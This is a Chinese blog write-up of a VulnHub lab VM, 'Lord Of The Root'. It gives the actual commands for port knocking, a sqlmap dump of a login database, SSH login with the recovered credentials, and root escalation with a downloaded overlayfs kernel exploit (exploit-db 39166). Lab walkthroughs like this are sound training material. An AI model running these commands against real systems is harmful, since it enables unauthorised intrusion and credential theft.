VulnHub靶场篇7-Lord Of The Root: 1.0.1

2021-02-01 14:02:54 阅读：395 来源： 互联网

标签：1.14 -- 端口 192.168 nmap VulnHub Linux Lord Root

靶机地址：Lord Of The Root: 1.0.1 ~ VulnHub

文章简要记录渗透靶机每一个过程，对于渗透过程中的每一步并非十分的详细，其中部分内容会有错，望读者指出错误，谢谢！

摘要：扫描后只有一个22端口，根据提示进行端口碰撞后发现1337端口的http服务，浏览页面得到一串base64提示，解码为一个目录，该目录是一个登录表单，使用sqlmap跑该表单，得到相关用户和密码信息，登录上ssh，查看系统及内核版本，搜索相关漏洞，使用CVE-2015-8660漏洞进行提权。

可完善的地方：提权方法还有几种、端口碰撞知识、sqlmap使用

主机探测&端口扫描

靶机ip为：192.168.1.14

端口扫描结果：

hhh@Kali2020:~$ sudo nmap -A -sS -sV -p- -T5 192.168.1.14
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-31 21:43 CST
Nmap scan report for lordoftheroot (192.168.1.14)
Host is up (0.00024s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
|   2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|   256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
|_  256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
MAC Address: 08:00:27:F6:E9:F1 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.24 ms lordoftheroot (192.168.1.14)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.64 seconds

信息搜集

22端口 ssh服务

提示 lort knock friend to enter

进行端口碰撞——从外部按照一个正确的顺序连接防火墙预先设定的端口(这儿是123)，就可以实时改变防火墙策略、开放端口。简单来说就是如果我们按照正确的顺序连接其端口后，它就会开放隐藏的端口

途径一： nmap

nmap -n -v0 -Pn --max-retries 0 -p 1 192.168.1.14
nmap -n -v0 -Pn --max-retries 0 -p 2 192.168.1.14
nmap -n -v0 -Pn --max-retries 0 -p 3 192.168.1.14

-n：不进行DNS解析
-v0：表示不输出详细信息（-v1输出正常信息，-v2输出详细信息）
-Pn：不进行主机扫描（默认将所有的主机视为在线），直接进行更深层次的扫描
--max-retries 0：表示端口扫描探测包最多被重传0次，即不允许重传
-p 1：指定扫描的端口为1
参考：https://svn.nmap.org/nmap/docs/nmap.usage.txt

途径二：hping3

hping3 -S 192.168.1.14 -p 1 -c 1
hping3 -S 192.168.1.14 -p 2 -c 1
hping3 -S 192.168.1.14 -p 3 -c 1

1337端口

对该网页进行搜集，发现一串代码

进行base64解密得到一个目录 /978345210/index.php

hhh@Kali2020:~$ echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' | base64 -d
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
hhh@Kali2020:~$ echo 'Lzk3ODM0NTIxMC9pbmRleC5waHA=' | base64 -d
/978345210/index.php

前往该目录，发现是一个登录表单

使用sqlmap

使用sqlmap进行基于表单的的注入查看，检索数据库名称和登录凭证
得到一些数据库名称

sqlmap -o -u "http://192.168.1.14:1337/978345210/index.php" --forms --dbs

-o：开启所有优化
-u：指定目标URL
--forms：自动判断注入
--dbs：枚举DBMS所有的数据库名称

对Webapp数据库进一步地信息获取

sqlmap -o -u "http://192.168.1.14:1337/978345210/index.php" --forms -D Webapp --tables

-D：指定数据库
--tables：列出该数据库所有的表

对Webapp的User表进一步地信息获取

sqlmap -o -u "http://192.168.1.14:1337/978345210/index.php" --forms -D Webapp -T Users --columns

-T：指定表
--columns：列出该表的所有表项

获取这些用户名以及密码

sqlmap -o -u "http://192.168.1.14:1337/978345210/index.php" --forms -D Webapp -T Users -C id,username,password --dump

-C：指定列
--dump：转储DBMS的数据库中的表项

权限获取

获取到上面的账号密码信息后，可以一个个进行登录，尝试得到正确的账号和密码是smeagol和MyPreciousR00t

成功登录

ssh smeagol@192.168.1.14

权限提升

先查看当前系统的信息 Ubuntu 14.04 Linux Kernel 3.19.0-25

smeagol@LordOfTheRoot:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.3 LTS
Release:        14.04
Codename:       trusty
smeagol@LordOfTheRoot:~$ uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 athlon i686 GNU/Linux

方法一：Ubuntu14.04漏洞提权

在exploit-db中搜索相关信息Ubuntu14.04
点进去查看是否符合一些版本条件，最后选择了id为39166这一个漏洞
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1) - Linux local Exploit (exploit-db.com)

在kali中搜索该漏洞

searchsploit 39166

cp /usr/share/exploitdb/exploits/linux/local/39166.c .

发送到靶机上

python -m SimpleHTTPServer 5555
wget 192.168.1.15:5555/39166.c

编译执行
前往root目录下获取到flag文件

gcc 39166.c -o exp
./exp

id
uid=0(root) gid=1000(smeagol) groups=0(root),1000(smeagol)

方法一拓展

在该系统上跑les.sh工具，可以自动地列出可能的漏洞
les.sh工具

./les.sh

这里我又尝试了下DirtyCOW进行提权，但是报错 cannot execute binary file: Exec format error

其余的有空再看咯

总结

端口碰撞port_knocking
nmap参数
sqlmap跑登录表单信息
Ubuntu14.04漏洞提权
les.sh工具

参考

https://www.cnblogs.com/jerrylocker/p/10767304.html

https://blog.csdn.net/zsf1235/article/details/50974194

https://blog.csdn.net/qq_34801745/article/details/103792018

https://www.cnblogs.com/zongdeiqianxing/p/13503635.html

如何使用LES对Linux进行渗透测试研究 - FreeBuf网络安全行业门户

标签：1.14,--,端口,192.168,nmap,VulnHub,Linux,Lord,Root
来源： https://www.cnblogs.com/labster/p/14356247.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9